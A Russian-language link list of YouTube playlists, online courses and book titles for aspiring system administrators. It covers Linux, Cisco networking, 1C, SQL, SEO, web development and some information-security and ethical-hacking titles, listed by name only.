https://www.youtube.com/playlist?list=PLU4HoaX9cJ1DGHL0eDfvj2rXe2IEy7-II
Yuriy Lebedev CentOS 7
https://www.youtube.com/playlist?list=PLU4HoaX9cJ1D5DsOhxgvrHS4ryBdpBD96
------------------------------------------------------------------------
Дни Решений Секреты строительства Wi-Fi сетей
https://www.youtube.com/playlist?list=PLe8r5bEnvnZNPL-LOxFi7EsZrXhrHPOAy
Дни Решений СКС/LAN: монтаж, диагностика и обслуживание
https://www.youtube.com/playlist?list=PLe8r5bEnvnZOEbF0J3SqGUYCbOlG4VwjJ
Дни Решений networkguru.ru
https://www.youtube.com/playlist?list=PLe8r5bEnvnZN0HTLGH-nxUJZd0h_eOq7g
Дни Решений Секреты работы с волоконной оптикой (ВОЛС)
https://www.youtube.com/playlist?list=PLe8r5bEnvnZOZLiKYHxNdFoK7waOUzNF1
Дни Решений Телефонные гарнитуры: все секреты!
https://www.youtube.com/playlist?list=PLe8r5bEnvnZNA9u2I6uqm2zcl6T94cI6z
Дни Решений Аудио и видео-конференц-связь, видеостены
https://www.youtube.com/playlist?list=PLe8r5bEnvnZNwSxqX0p_iDUAkOlAWytM7
Дни Решений IP телефония (VoIP)
https://www.youtube.com/playlist?list=PLe8r5bEnvnZP6yOWIYyyygqPvS58uMQBJ
Дни Решений Умный дом
https://www.youtube.com/playlist?list=PLe8r5bEnvnZN748WR37B1tXGcTLqTW3kC
Дни Решений Шумовые завесы
https://www.youtube.com/playlist?list=PLe8r5bEnvnZOY1LtqLEAxPxZxtL75jPV8
------------------------------------------------------------------------
it-inside.org Создание сайта на собственном сервере с нуля.
https://www.youtube.com/playlist?list=PLWeA3JK7qaiqowtTfzprN2x166106EiJc
it-inside.org Security
https://www.youtube.com/playlist?list=PLWeA3JK7qaiojdfgRF4iBrQJ0RPpk1V6L
it-inside.org Scripting
https://www.youtube.com/playlist?list=PLWeA3JK7qaiqH4vA78UxoUKsQpFp71bwQ
it-inside.org CCNP
https://www.youtube.com/playlist?list=PLWeA3JK7qaipZf1qMtkAFU7e6eeJy2aDt
it-inside.org Monitoring.
https://www.youtube.com/playlist?list=PLWeA3JK7qaioL-Q7IPatURDrh4E4X-Von
it-inside.org bug report
https://www.youtube.com/playlist?list=PLWeA3JK7qaioGvvnmDd-gnkEwPh4gg4kr
------------------------------------------------------------------------
Roman Brovko Операционные системы (2017)
https://www.youtube.com/playlist?list=PLwwk4BHih4fhjN33HkMEr63bvLfCJy6Lg
Roman Brovko Архитектура ЭВМ
https://www.youtube.com/playlist?list=PLwwk4BHih4fhAkCRHXK54t-KSqyuMzXW8
Roman Brovko Основы программирования для Linux
https://www.youtube.com/playlist?list=PLwwk4BHih4fgXqxB-T-0kb8gGHXiP73n1
Roman Brovko Алгоритмы
https://stepik.org/course/1547/
https://www.youtube.com/playlist?list=PLwwk4BHih4fhlc1aE0A_0Lw-LYNkXQyM6
Roman Brovko Алгоритмы и структуры данных
https://www.youtube.com/playlist?list=PLwwk4BHih4fh-y2G5gPm6gRlIjK8nvt2r
Roman Brovko Алгоритмы. Структуры данных
https://www.youtube.com/playlist?list=PLwwk4BHih4fhz7NtsPUbk7B3JXh_CPt3m
Roman Brovko Web-технологии
https://www.youtube.com/playlist?list=PLwwk4BHih4fjFaGMqZgSDKdPxEf4O1nDT
------------------------------------------------------------------------
JuniorDeveloper
https://www.youtube.com/channel/UC88QnQ7ENULaCirUkASudeg/playlists
JuniorDeveloper Верстка сайта из PSD макета
https://www.youtube.com/playlist?list=PLhSMKtAqXupGbc3fRUSb9ups_9hiwNMnT
------------------------------------------------------------------------
Хекслет Курс «Операционные системы»
https://www.youtube.com/playlist?list=PLo6puixMwuSPrKOCsJhrtr-m79mFthit9
Хекслет Вебинары Хекслета Что нужно изучать начинающему программисту
https://www.youtube.com/playlist?list=PLo6puixMwuSPfJVVXKhLkHCymzEQAKxjr
Хекслет Курс «Структура и интерпретация компьютерных программ» (SICP по-русски)
https://www.youtube.com/playlist?list=PLo6puixMwuSO8eB2uBH5lZy5kjNtdhTfT
------------------------------------------------------------------------
Sappise Лекции по ЦУиМП
https://www.youtube.com/playlist?list=PL8OgDYWys_b7YiX5rVMY2ol09WKkxwPyD
Sappise Лекции по ЦУиМП Версия 2
https://www.youtube.com/playlist?list=PL8OgDYWys_b6B9SE5D1jDFbGJ9WAmWYUl
------------------------------------------------------------------------
IFud Team Системный администратор
https://www.youtube.com/playlist?list=PLvmML5SbwhumXPtGoXyBAH1pMTFKA4ykL
IFud Team Администрирование Linux. Дистанционный курс
https://www.youtube.com/playlist?list=PLvmML5SbwhulMG1CmnBZT169LmxL21bJ4
IFud Team Администрирование linux
https://www.youtube.com/playlist?list=PLvmML5SbwhunCWc-8yAYIdoPiVfD0rNIj
IFud Team Межсетевое взаимодействие в сетях на базе TCP/IP
https://www.youtube.com/playlist?list=PLvmML5SbwhulDe5JDb46R69LJvDV7RKZN
IFud Team Поднимаем IPv6 прокси. Установка и настройка IPv6
https://www.youtube.com/playlist?list=PLvmML5Sbwhunx37mPDC8aRdmt46zhp_-q
IFud Team Безопасность в сети. Методы взлома и защиты
https://www.youtube.com/playlist?list=PLvmML5SbwhunT-nAfEX4s3tAjeMde25kO
IFud Team Продвижение сайта в Google
https://www.youtube.com/playlist?list=PLvmML5SbwhukEc2pQvJgQ1yMIYTp9A3Pq
------------------------------------------------------------------------
Sipteco. Технологии успеха. Учебный канал о Linux, Asterisk и IP-телефонии
Администрирование Linux. Курс подготовки к сертификату LPIC-1
https://www.youtube.com/playlist?list=PL2or2puF0mtWoE2aQDsbpszXcZCXWspTp
Курс системного администратора Linux LPIC-1: Linux Server Professional Certification
https://www.youtube.com/playlist?list=PL2or2puF0mtUD6-Me3prNufuZhD1wKNZ_
------------------------------------------------------------------------
Kirill Semaev Матчасть
https://www.youtube.com/playlist?list=PLmxB7JSpraieJLcnTyrytdUwm1ahOgSs3
Kirill Оффтоп
https://www.youtube.com/playlist?list=PLmxB7JSpraif2Gqqgk4YdmaR5O9-NiUME
Kirill Semaev Практическое системное администрирование
https://www.youtube.com/playlist?list=PLmxB7JSpraifsRUrtq2Y-il5NCLc3vKho
Kirill Semaev LPIC-1 (exam 101) или "Администрирование Linuх, первая ступень"
https://www.youtube.com/playlist?list=PLmxB7JSpraiep6kr802UDqiAIU-76nGfc
Kirill Semaev LPIC-1 (exam 102) или "Базовые навыки по администрированию Linux"
https://www.youtube.com/playlist?list=PLmxB7JSpraieH3aScuPs7h77cSEQvPi2A
Kirill Semaev DevOps
https://www.youtube.com/playlist?list=PLmxB7JSpraieS8C58ewR7fdTu5fS3z7HG
------------------------------------------------------------------------
Viktor Gorbachev Системный администратор
https://www.youtube.com/playlist?list=PL1QEYrJlCKDxoP-q01etpJ63IMLrvK88l
------------------------------------------------------------------------
Системное администрирование Курсы информационных технологий 2014
https://www.youtube.com/playlist?list=PLdJo1XilUTZN3jw6dalF9QyYhYjV2ZC56
------------------------------------------------------------------------
Sneaky Subnet CCNA Routing & Switching
https://www.youtube.com/playlist?list=PLto9y93q2lqgI4SkL-UcNkNGCb7h2nXCC
------------------------------------------------------------------------
NetSkills. Видеоуроки. Cisco, zabbix, linux. Курс молодого бойца
https://www.youtube.com/playlist?list=PLcDkQ2Au8aVNYsqGsxRQxYyQijILa94T9
------------------------------------------------------------------------
Students Days универ изнутри Сети, коротко о главном
https://www.youtube.com/playlist?list=PL7CmqnO_QydiukqgQ9-TuQXjSwQt2rXQT
Students Days универ изнутри IP сети шаг за шагом
https://www.youtube.com/playlist?list=PL7CmqnO_QydhIEjonf_xD3njzpFm-YeXQ
Students Days универ изнутри Сети Cisco шаг за шагом(Cisco Networks, Step by step)
https://www.youtube.com/playlist?list=PL7CmqnO_Qydj_7pzgQB4AWdF-SAxssH4l
Students Days универ изнутри Сети Mikrotik шаг за шагом (Mikrotik networks step by step)
https://www.youtube.com/playlist?list=PL7CmqnO_Qydjswm5E3iUYYzjFL0_MLVHD
Students Days универ изнутри Сети Huawei шаг за шагом (Networks based on Huawei routers step by step)
https://www.youtube.com/playlist?list=PL7CmqnO_Qydi3QWXMUFnBGUuYgIlRQd63
------------------------------------------------------------------------
techmovs Школа сисадмина
https://www.youtube.com/playlist?list=PL1eM6UUA7VFz4mKeFO5Y7-vIKP2cnN7sV
techmovs Администрирование Linux
https://www.youtube.com/playlist?list=PL1eM6UUA7VFysNtA0qflCDxpDiZEt7Bep
techmovs LFCS
https://www.youtube.com/playlist?list=PL1eM6UUA7VFycj34L1zgaCBWhh3Ci9Cp0
techmovs LPIC 101
https://www.youtube.com/playlist?list=PL1eM6UUA7VFzb_L6gSbYKnZYaXefGZDUs
techmovs KL10TCH
https://www.youtube.com/playlist?list=PL1eM6UUA7VFzpFGrX2gvFXaKbASvVhoQh
techmovs IPv6
https://www.youtube.com/playlist?list=PL1eM6UUA7VFwwLgriUiAGU1i9GBGjtoi1
techmovs Алгоритмы
https://www.youtube.com/playlist?list=PL1eM6UUA7VFzq4BF8Aprfg7gdAQ69j2KB
techmovs Тестирование ПО
https://www.youtube.com/playlist?list=PL1eM6UUA7VFyGCycBFhYbsk0Rp78QrCkN
------------------------------------------------------------------------
ieucariot Сети Для Самых Маленьких
https://www.youtube.com/playlist?list=PLHN9m7XN8U8HQ4KdjaLlWtSHQ3PYgQzmV
------------------------------------------------------------------------
Константин Малиновский Сети
https://www.youtube.com/playlist?list=PL5YDvN8xi9VLKte4Gv_16ciwQxh4XweCp
Константин Малиновский Базы данных
https://www.youtube.com/playlist?list=PL5YDvN8xi9VIjHXIND6dw3P14WS6Djeix
------------------------------------------------------------------------
TrainIT Hard Базовый курс. Основы ИТ.
https://www.youtube.com/playlist?list=PLUNgQQczUJbsLIiqvHVgy23nlwYnsEsn8
TrainIT Hard Windows Server 2012 Basics
https://www.youtube.com/playlist?list=PLUNgQQczUJbveKhzohlY4uNGZYkZm_VDZ
http://skill-admin.blogspot.ru/search/label/cisco
https://vk.com/wall-100479995_94
------------------------------------------------------------------------
Vladimer Gorgoshidze Как стать системным администратором?
https://www.youtube.com/playlist?list=PLB6zbXpf_RsjIUZcIbGGYhLasPYtus-A4
Vladimer Gorgoshidze Системный администратор
https://www.youtube.com/playlist?list=PLB6zbXpf_RsjPfb4X6NsQAh2QIHA1-GW9
------------------------------------------------------------------------
Основы администрирования и безопасности Linux. (5 лекций)
https://vk.com/wall-51126445_2580
------------------------------------------------------------------------
Video Channel linux
https://www.youtube.com/playlist?list=PLZ5OKxpfkh5IC7pzY0Jo3q_UVFvaFRG7H
------------------------------------------------------------------------
Логово системного администратора Программирование Мини АТС Панасоник
https://www.youtube.com/playlist?list=PLxVdPxr08ltOAfKa2VKbzRiE7kBxvRzf1
------------------------------------------------------------------------
fromsmolensk Информационная безопасность
https://www.youtube.com/playlist?list=PL7DC2D34B14C1936C
fromsmolensk Базы данных
https://www.youtube.com/playlist?list=PLGPJsTM9CNQMg1pXbue77S59-dbZNvTog
------------------------------------------------------------------------
Fanto Mask Spoofing
https://www.youtube.com/playlist?list=PL0bD2LE45OWY9y6I50qMT_nqtsbz8MG7f
------------------------------------------------------------------------
ADV-IT Взлом Хакерские атаки и способы защиты
https://www.youtube.com/playlist?list=PLg5SS_4L6LYueOJFm-IdWSuLiYwcASkH-
ADV-IT Полезные IT знания для IT интервью (RAID)
https://www.youtube.com/playlist?list=PLg5SS_4L6LYsRPYsxOzDnEynpuQVEjUPy
ADV-IT Linux для Начинающих
https://www.youtube.com/playlist?list=PLg5SS_4L6LYuE4z-3BgLYGkZrs-cF4Tep
ADV-IT Linux для НЕ Начинающих
https://www.youtube.com/playlist?list=PLg5SS_4L6LYsgy5qLYZtvoaV34zn5iKPe
ADV-IT AWS На Русском Языке
https://www.youtube.com/playlist?list=PLg5SS_4L6LYsxrZ_4xE_U95AtGsIB96k9
------------------------------------------------------------------------
Иван Глазков Полезные советы
https://www.youtube.com/playlist?list=PL2BaVmpX7hX_9zB1k7CgcCM4zRJmEdRm0
Иван Глазков Мои ремонты
https://www.youtube.com/playlist?list=PL2BaVmpX7hX8PxGr2KAXiUWt4qgK6i5PC
Иван Глазков Крякерство
https://www.youtube.com/playlist?list=PL2BaVmpX7hX8PX9bRaLcLgZfCEFtvyX5n
Иван Глазков PXE
https://www.youtube.com/playlist?list=PL2BaVmpX7hX9mS9H6phVs-Mi55hQp0zTn
Иван Глазков Linux
https://www.youtube.com/playlist?list=PL2BaVmpX7hX-3BFL4ndGi4LuF4NCCp6tM
Иван Глазков BSD
https://www.youtube.com/playlist?list=PL2BaVmpX7hX_hRZYNUQEfhmtVNo7i6O8t
Иван Глазков pFsense
https://www.youtube.com/playlist?list=PL2BaVmpX7hX8fJtOkTD7M_pUHryQzVl8v
------------------------------------------------------------------------
ETUSPB Цифровая связь
https://www.youtube.com/playlist?list=PLLC9rD5jg9Gt29QBFIXjcTqrI9YRHJDw1
ETUSPB Лекции по беспроводным сетям 2010
https://www.youtube.com/playlist?list=PLD386E8C2D58F648B
------------------------------------------------------------------------
ITVDN Видео курс SQL Essential
https://itvdn.com/ru/video/sql-essential
------------------------------------------------------------------------
Ivan Booravoi 1С
https://www.youtube.com/playlist?list=PLczo5nNDGlYS3TASK1YcV1z-7SJl5oZtr
Ivan Booravoi SQL
https://www.youtube.com/playlist?list=PLczo5nNDGlYQ9P8vWyTi_G2LrXQEUHxpl
Ivan Booravoi Oracle
https://www.youtube.com/playlist?list=PL290BFBB9251EEBA2
------------------------------------------------------------------------
Илья Леонтьев Обновление нетиповых конфигураций для самых маленьких
https://www.youtube.com/watch?v=4Th3ZIndvps
1С Бухгалтерия 8.3 - понятный самоучитель для начинающих (видео бесплатно)
https://www.youtube.com/playlist?list=PL6Nx1KDcurkCkGiG0hKWtBOQoDqnIBf9E
------------------------------------------------------------------------
Богдан Кухар Сервер терминалов на Linux для 1С
https://www.youtube.com/watch?v=2Zei0VJc77s
Богдан Кухар Подключаем информационные базы 1С всем пользователям сразу
https://www.youtube.com/watch?v=tldOqsaoLUY
Богдан Кухар Создаем VPN в облаке Microsoft Azure
https://www.youtube.com/watch?v=JUj7oJyGRxU
------------------------------------------------------------------------
q-group 1c8
https://www.youtube.com/playlist?list=PLdH7buQQUO6GgK9AKTCrBMfpjb7MdbPDA
------------------------------------------------------------------------
theatreoff tragedy 1C Администрирование
https://www.youtube.com/playlist?list=PLC0_t5ia8jP-FZ8QSHvoGkV_pGTM43Srt
theatreoff tragedy 1С 8.3. УФ. УРОКИ ПО ЗАПРОСАМ
https://www.youtube.com/playlist?list=PLC0_t5ia8jP8G3VLBYNQjNIGBV0-J8Nz-
theatreoff tragedy 1C 8.3. Введение в конфигурирование. Управляемые формы.
https://www.youtube.com/playlist?list=PLC0_t5ia8jP_sie_rwr4z3MVe4FYsnymW
https://www.youtube.com/playlist?list=PLC0_t5ia8jP91xjbME-3HotjuC781azOS
theatreoff tragedy 1C 8.3. Запросы. Управляемые формы.
https://www.youtube.com/playlist?list=PLC0_t5ia8jP84exAWe95aOvZw7QaYJ7AJ
theatreoff tragedy 1с 8.3 : Конвертация данных 2.1: Модуль1
https://www.youtube.com/playlist?list=PLC0_t5ia8jP-Xb9qHkFspasHB53CWzQnf
theatreoff tragedy 1с 8.3. Модуль 1. Доработка типовых и разработка собственных отчетов в УТ 11. Доработка и адаптация типовых конфигураций УТ 11, ERP 2 и КА 2
https://www.youtube.com/playlist?list=PLC0_t5ia8jP_EoQrEtR45pMvP8SdPVbVF
theatreoff tragedy 1с 8.3. Модуль 3. Работа с документами и регистрами в УТ 11. Доработка и адаптация типовых конфигураций УТ 11, ERP 2 и КА 2
https://www.youtube.com/playlist?list=PLC0_t5ia8jP8U8D-vnXoGEIciz3rOEKdJ
theatreoff tragedy 1с 8.3. Модуль 4. Доработка системы прав доступа в типовых решениях. Доработка и адаптация типовых конфигураций УТ 11, ERP 2 и КА 2
https://www.youtube.com/playlist?list=PLC0_t5ia8jP-OfbaMx380cVwHTG4vOpNQ
theatreoff tragedy 1с 8.3 : Конвертация данных 2.1: Модуль 3 . Планы Обмена
https://www.youtube.com/playlist?list=PLC0_t5ia8jP8GC_yBF9r4taCqg8g2wDzn
------------------------------------------------------------------------
Сергей Калинкин Общий для последовательного просмотра
https://www.youtube.com/playlist?list=PLMAh-CUbKvasfQ0mupac3vvWPCz-BeCca
Сергей Калинкин Программирование на платформе 1С:Предприятие 8.3 - введение
https://www.youtube.com/playlist?list=PLMAh-CUbKvav-IqIpbGW2UKDw_41SowLj
Сергей Калинкин Основы программирования 1с 8
https://www.youtube.com/playlist?list=PLMAh-CUbKvat3RisZIYMYhmcWLtYMyJhv
Сергей Калинкин Установка и обновление 1с 8
https://www.youtube.com/playlist?list=PLMAh-CUbKvavHzDjL1FnssjE0oO3lJozi
------------------------------------------------------------------------
Postgres Professional DBA1. Администрирование PostgreSQL 9.4 | Тверь 16-18 декабря 2015
https://postgrespro.ru/education/courses/DBA1
https://www.youtube.com/playlist?list=PLaFqU3KCWw6KzGwUubZm-9-vKsi6vh5qC
Postgres Professional DBA2. Администрирование PostgreSQL. Расширенный курс.
https://www.youtube.com/playlist?list=PLaFqU3KCWw6JgufXBiW4dEB2-tDpmOXPH
------------------------------------------------------------------------
Vitaly Pavlenko Веб-программирование на Физтехе
https://www.youtube.com/playlist?list=PLzQrZe3EemP5KsgWGnmC0QrOzQqjg3Kd5
------------------------------------------------------------------------
Михаил Базаров Видеоуроки по созданию сайтов на 1С-Битрикс
Михаил Базаров Создание сайта на битрикс
https://www.youtube.com/playlist?list=PL8CIWP7ylJEOcOeJwicciUhoNmQP8k9ut
Работа с контентом на готовом сайте 1С-Битрикс
------------------------------------------------------------------------
Ускорение Сайтов Защита от DDoS-атак
https://www.youtube.com/playlist?list=PLVGNbLVYLVSXLoHMB8iPQuoGSK86i0uxn
Ускорение Сайтов Nginx
https://www.youtube.com/playlist?list=PLVGNbLVYLVSUtbYBzuzigVyhWGuF_ABi7
Ускорение Сайтов Ускорение MySQL
https://www.youtube.com/playlist?list=PLVGNbLVYLVSWTiO_NApFISC7fjSennUAu
Ускорение Сайтов Результаты ускорения
https://www.youtube.com/playlist?list=PLVGNbLVYLVSUkvHP1T78RcADVMpNu15je
Ускорение Сайтов Тормозека
https://www.youtube.com/playlist?list=PLVGNbLVYLVSVQfQEY9ALNPRnDWLf6oM7w
------------------------------------------------------------------------
DesignerMix Уязвимости, взломы и способы защиты
https://www.youtube.com/playlist?list=PLOQQ6KLOVGdGqm_L4e_CzQrIDtiopvL-Y
DesignerMix Вирусы и борьба с ними
https://www.youtube.com/playlist?list=PLOQQ6KLOVGdEgd7O2I2wjwqD_KjxiPbuX
DesignerMix Ремонт и восстановление
https://www.youtube.com/playlist?list=PLOQQ6KLOVGdGJ_vRUDsQSgV2we1ZtU7H_
DesignerMix Восстановление флешек и удаленных данных
https://www.youtube.com/playlist?list=PLOQQ6KLOVGdGNd70VpYAarwCMNg_yrpcC
DesignerMix Разные инструкции
https://www.youtube.com/playlist?list=PLOQQ6KLOVGdGluxMmWaCHqvgtbb8L7DwZ
DesignerMix Google Hack - Продвинутый поиск
https://www.youtube.com/playlist?list=PLE78A5BEC7DD924E7
DesignerMix SDR (Программно-определяемое радио)
https://www.youtube.com/playlist?list=PLOQQ6KLOVGdFlesq9MH6aGf2TsQ8PAMw5
DesignerMix Переводы уроков Майкла Османа о программно-определяемом радио (SDR с HackRF)
https://www.youtube.com/playlist?list=PLOQQ6KLOVGdF79OFOieprIjQHFEgxfNJ3
------------------------------------------------------------------------
loftblog SEO простым языком
https://www.youtube.com/playlist?list=PLY4rE9dstrJxGAhvT29VO70RsKuEvk87A
loftblog SEO
https://www.youtube.com/playlist?list=PLY4rE9dstrJxIHBstGandMnv_pYnFBlIV
loftblog SMM
https://www.youtube.com/playlist?list=PLY4rE9dstrJxh2iwPabJC4jDRmI6W3ajc
loftblog Продвижение в социальных сетях
https://www.youtube.com/playlist?list=PLY4rE9dstrJw_DOaRCpp65OcTTFIfrUAa
loftblog Основы SQL
https://www.youtube.com/playlist?list=PLY4rE9dstrJwFmPYd03vZU90-TvXEpVzD
------------------------------------------------------------------------
CMTV [Грани Hi-Tech] Изучение программирования. Суть ООП
https://www.youtube.com/playlist?list=PLDywto_IU4_5UdZeKaoe-JWSl9LoaWmH9
CMTV [Грани Hi-Tech] Изучение программирования. Основы
https://www.youtube.com/playlist?list=PLDywto_IU4_60HfZ4-JeqRRyTgcTntDsE
CMTV [Грани Hi-Tech] Нейронные сети. Просто
https://www.youtube.com/playlist?list=PLDywto_IU4_4nP7LUZRzQ5QKoglE-WBtT
------------------------------------------------------------------------
Компьютерная школа Hillel QA | Тестирование ПО
https://www.youtube.com/playlist?list=PLuEo4W0EBxtXzWG6fAy6uQ1BtdYK-w8yN
------------------------------------------------------------------------
Computer Science Center Введение в архитектуру ЭВМ и элементы ОС
https://www.youtube.com/playlist?list=PLlb7e2G7aSpRZ9wDzXI-VYpk59acLFOIr
------------------------------------------------------------------------
Yellow-Duck.net Основы основ программирования
https://www.youtube.com/playlist?list=PL6LDsbZOeyrwLLZYsBMT6zVS_0jqIf3E6
Yellow-Duck.net Основы объектно-ориентированного програмирования
https://www.youtube.com/playlist?list=PL6LDsbZOeyrx462VmH18qS0a9Dw9LwpSu
------------------------------------------------------------------------
LessonFirst Объектно-ориентированное программирование [завершен]
https://www.youtube.com/playlist?list=PLi3gxGWPyGGQvfcZZr04KToj3beWtOz6o
LessonFirst SQL для начинающих
https://www.youtube.com/playlist?list=PLi3gxGWPyGGQOBAp-n-zWaj6QZeFtXLHh
------------------------------------------------------------------------
Evgeniy Gryshko WEB development
https://www.youtube.com/playlist?list=PLAKxGhxbBWw_tDL45h-4UcePVNNpPNztW
Evgeniy Gryshko Git
https://www.youtube.com/playlist?list=PLAKxGhxbBWw8vK8GCqs4H8ddk3Vc86M8A
------------------------------------------------------------------------
Школа Будущего HTML CSS
https://www.youtube.com/playlist?list=PLr_VnTo6mvnQfXLXW_wTsZiXAVi2_sZIo
Школа Будущего Сео
https://www.youtube.com/playlist?list=PLr_VnTo6mvnToYUyaUIVMPuuPjl6WHpjq
------------------------------------------------------------------------
KNLNT Studio CSS
https://www.youtube.com/playlist?list=PL9EN4uxy2Zg2y1HlufX9MhBruypiTdbRi
KNLNT Studio Как сделать?
https://www.youtube.com/playlist?list=PL9EN4uxy2Zg1ah4ysUbfVL2YpoTNQ-31W
------------------------------------------------------------------------
Сергей Бердачук Бесплатный курс по SEO
https://www.youtube.com/playlist?list=PLtyhaRfmo_ciDvmAbBk7zuOuXZcIBzUy6
Сергей Бердачук SEO-Tool-Vision
https://www.youtube.com/playlist?list=PLtyhaRfmo_ci9GpwONtZQ6lIAzPQW_Pn_
------------------------------------------------------------------------
Нетология: университет интернет-профессий SEO
https://www.youtube.com/playlist?list=PLkC6D3H7QvstK8JpWbMAdzKGj-Mt6ylmH
https://www.youtube.com/playlist?list=PLkC6D3H7QvssTlrTuEf4u_GOcH8oVYbGt
Нетология: университет интернет-профессий SMM
https://www.youtube.com/playlist?list=PLkC6D3H7QvsubiUwGswFupaLPQnOQ3R3s
Нетология: университет интернет-профессий SMM-менеджер: как стать профи в социальных сетях
https://www.youtube.com/playlist?list=PLkC6D3H7QvssIjltb8ZncbLIyCqX7Q3s9
------------------------------------------------------------------------
OPC - Online Programming Courses Обучение SQL
https://www.youtube.com/playlist?list=PLOFNiVk8RnFf0SRmMpeKWzcFprd6m9utv
OPC - Online Programming Courses Обучение CSS
https://www.youtube.com/playlist?list=PLOFNiVk8RnFfH6kxPxWGAGMCs2PHB3M2A
OPC - Online Programming Courses Установка и настройка сайта на WordPress
https://www.youtube.com/playlist?list=PLOFNiVk8RnFd4704vKWwn908_19QxgBLk
OPC - Online Programming Courses Joomla
https://www.youtube.com/playlist?list=PLOFNiVk8RnFclUTCx5oIkmyQ3ihdXskXj
------------------------------------------------------------------------
Kirill Semaev
Матчасть
https://www.youtube.com/playlist?list=PLmxB7JSpraieJLcnTyrytdUwm1ahOgSs3
Мануалы
https://www.youtube.com/playlist?list=PLmxB7JSpraifsRUrtq2Y-il5NCLc3vKho
LPIC essentials
https://www.youtube.com/playlist?list=PLmxB7JSpraidEUbmKkRn7ZlqJg6_8kE7j
LPIC-1 (exam 101)
https://www.youtube.com/playlist?list=PLmxB7JSpraiep6kr802UDqiAIU-76nGfc
LPIC 101.1 Работа с железом в Linux
https://www.youtube.com/watch?v=7nLd_qyCL9U&list=PLmxB7JSpraidmCtn2yt-2NswzaNcFFUuk&index=1
LPIC-1 (exam 102)
https://www.youtube.com/playlist?list=PLmxB7JSpraieH3aScuPs7h77cSEQvPi2A
LPIC-2 (exam 201)
https://www.youtube.com/playlist?list=PLmxB7JSpraidTqByo0ihkyExIbKfAB-B9
Jenkins
https://www.youtube.com/playlist?list=PLmxB7JSpraiew9igtD89o33AaniUrmUzm
DevOps
https://www.youtube.com/playlist?list=PLmxB7JSpraieS8C58ewR7fdTu5fS3z7HG
Оффтоп
https://www.youtube.com/playlist?list=PLmxB7JSpraif2Gqqgk4YdmaR5O9-NiUME
------------------------------------------------------------------------
Макс Шулин Сетевое программирование в UNIX
https://www.youtube.com/playlist?list=PL515CC9DC78708CF2
------------------------------------------------------------------------
ProgTeach TV Самоучитель C++ в Visual Studio
https://www.youtube.com/playlist?list=PLunH-tbnWczrnR76tF3c9sddcUbHIxpQR
------------------------------------------------------------------------
Как создать сайт. Основы Самостоятельного Сайтостроения
https://www.youtube.com/user/webformyself/playlists
------------------------------------------------------------------------
Лучший курс по GIT. Перевод курса от Lynda.com
Гайды по работе с Git
https://vk.com/wall-54530371_128906
------------------------------------------------------------------------
school-php.com Видео-блок. Тема: взлом и безопасность веб-сайтов
https://www.youtube.com/watch?v=ll9ZqAk70kk
------------------------------------------------------------------------
Linux - это просто! Замена сбойного жесткого диска в дисковом массиве RAID10
https://www.youtube.com/watch?v=AE2oIiTxiv0
------------------------------------------------------------------------
Filipp Ozinov Основы дизассемблирования
https://www.youtube.com/watch?v=LaBM8inpYoE
------------------------------------------------------------------------
Техподдержка
https://www.youtube.com/watch?v=8tUhvt3opLE
https://www.youtube.com/watch?v=-vJHsO4_uPA
------------------------------------------------------------------------




подборка сисадмина 1
подборка сисадмина видео

раскрыть тему

Книги



http://adm-lib.ru/sisadminu/index.php
http://it-ebooks.ru/
Большая поваренная книга программиста.
https://github.com/najomi/data
Системное и сетевое администрирование подборка 1
Системное и сетевое администрирование подборка 2
Основы конфигурирования корпоративных сетей Cisco Ермаков А.Е. 2013
Официальное руководство Cisco по подготовке к сертификационным экзаменам CCENT/CCNA ICND1 100-101 Уэнделл Одом 2015
Сетевая защита на базе технологий фирмы Cisco Systems Н. И. Синадский
Современные операционные системы Эндрю Таненбаум, Х. Бос 2016
В. Олифер Н. Олифер.Компьютерные сети.Принципы,технологии,протоколы(2016)
Эндрю Таненбаум, Дэвид Уэзеролл Компьютерные сети. 5-е изд.
Administrirovanie_Microsoft_Windows_Server_2012
Уильям Р. Станек. Microsoft Windows Server. 2012. Справочник администратора
Microsoft Windows Server 2012. Полное руководство
Самоучитель системного администратора Кенин А.М. 2012
Самоучитель системного администратора Кенин А.М. 4-е издание 2016
Администрирование ОС Linux С.В. Гончарук 2015
Внутреннее устройство Linux. 3-е изд. Брайан Уорд 2022
Практикум: модули ядра Linux Конспект с примерами и упражнения с задачами Олег Цилюрик 2015
Linux не для идиотов
Основы администрирования и безопасности Linux
Немет Э., Снайдер Г., Хейн Т., Уэйли Б. "Unix и Linux. Руководство системного администратора" 5 издание 2020
подборка книг по linux
Как на самом деле работают компьютеры. Практическое руководство по внутреннему устройству машины [Мэттью Джастис] (pdf)
Linux глазами хакера, 4-е издание Михаил Фленов 2016
Лаборатория хакера Сергей Бабин 2016
Хакинг. Искусство эксплойта. Джон Эриксон 2018
Этичный хакинг. Практическое руководство по взлому. Дэниел Г. Грэм 2022
Книги об информационной безопасности, этичном хакинге, тестировании на проникновение
Книга «Взлом Wi-Fi сетей с Kali Linux и BlackArch» (на русском языке)
Эффективное программирование TCP IP. 2002
TCP/IP Сетевое администрирование Третье издание Крэйг Хант 2008
Подборка книг по TCP/IP
Подборка книг по TCP/IP
Подборка книг по TCP/IP
TCP/IP КРУПНЫМ ПЛАНОМ
Компьютерные сети. Нисходящий подход Куроуз Джеймс, Росс Кит
Кенин А.М. - Практическое руководство системного администратора, 2-е издание 2013
system administration
Искусство командной строки
Командная строка Linux и автоматизация рутинных задач Колисниченко Денис 2012
Командная строка Linux и автоматизация рутинных задач Колисниченко Денис 2012
Командная строка Linux. Полное руководство Уильям Шоттс 2017
Блум, Ричард, Бреснахэн, Кристина. Командная строка Linux и сценарии оболочки. Библия пользователя, 2-е изд. 2012
Bash и кибербезопасность: атака, защита и анализ из командной строки Linux. 2020.
Практикум: модули ядра Linux Конспект с примерами и упражнения с задачами Олег Цилюрик 2015
UNIX TOOLBOX по русски
Linux From Scratch Версия 7.3
Руссинович М., Соломон Д., Ионеску А., Йосифович П. Внутреннее устройство Windows. 7-е изд. 2018.
SQL за 10 минут, 4-е издание Бен Форта 2014
SQL. Полное руководство. 3-е издание (2014) Джеймс Р. Грофф, Пол Н. Вайнберг, Эндрю Дж. Оппель
SEO: Поисковая Оптимизация от А до Я.
5 бесплатных проверенных способов прокачать SEO-уровень сайта Владимир Здор 2016
Git для профессионального программиста (2016)
Чакон С., Штрауб Б. - Git для профессионального программиста (Библиотека программиста) - 2016.pdf
Подборка книг по информационной безопасности 1
Подборка книг по информационной безопасности 2
Книги по информационной безопасности. Знакомимся ближе с ИБ
За пределами проекта. Linux с нуля Бикманс Жерар 2014
Linux API. Исчерпывающее руководство. Керриск Майкл 2019
поборка Книги по Linux
